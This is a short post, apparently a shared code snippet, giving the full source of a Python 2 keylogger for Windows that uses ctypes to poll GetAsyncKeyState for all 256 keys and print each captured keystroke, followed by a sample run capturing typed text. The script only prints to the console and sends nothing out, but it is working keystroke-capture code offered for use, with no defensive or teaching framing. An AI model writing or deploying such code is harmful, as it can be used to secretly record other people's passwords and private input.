Windows keylogger by Python ctypes (Cygwin)

keylogger.py

import sys
import time
from ctypes import *

GetAsyncKeyState = cdll.user32.GetAsyncKeyState

special_keys = {0x08: "BS", 0x09: "Tab", 0x0d: "Enter", 0x10: "Shift", 0x11: "Ctrl", 0x12: "Alt", 0x14: "CapsLock", 0x1b: "Esc", 0x20: "Space", 0x2e: "Del"}

# reset key states
for i in xrange(256):
    GetAsyncKeyState(i)

while True:
    for i in xrange(256):
        if GetAsyncKeyState(i) & 1:
            if i in special_keys:
                print "<%s>" % special_keys[i],
            elif 0x30 <= i <= 0x5a:
                print "%c" % i,
            else:
                print "[%02x]" % i,
    sys.stdout.flush()

result.txt

$ python
Python 2.7.5 (default, Oct  2 2013, 22:34:09)
[GCC 4.8.1] on cygwin
Type "help", "copyright", "credits" or "license" for more information.
>>>

$ python keylogger.py
<Shift> [a0] H E L L O [bc] <Space> [a0] <Shift> W O R L D [a0] <Shift> 1 <Enter> [a2] <Ctrl> C
Traceback (most recent call last):
  File "keylogger.py", line 15, in <module>
    if GetAsyncKeyState(i) & 1:
KeyboardInterrupt

I found at https://twitter.com/inaz2/status/630050614530080768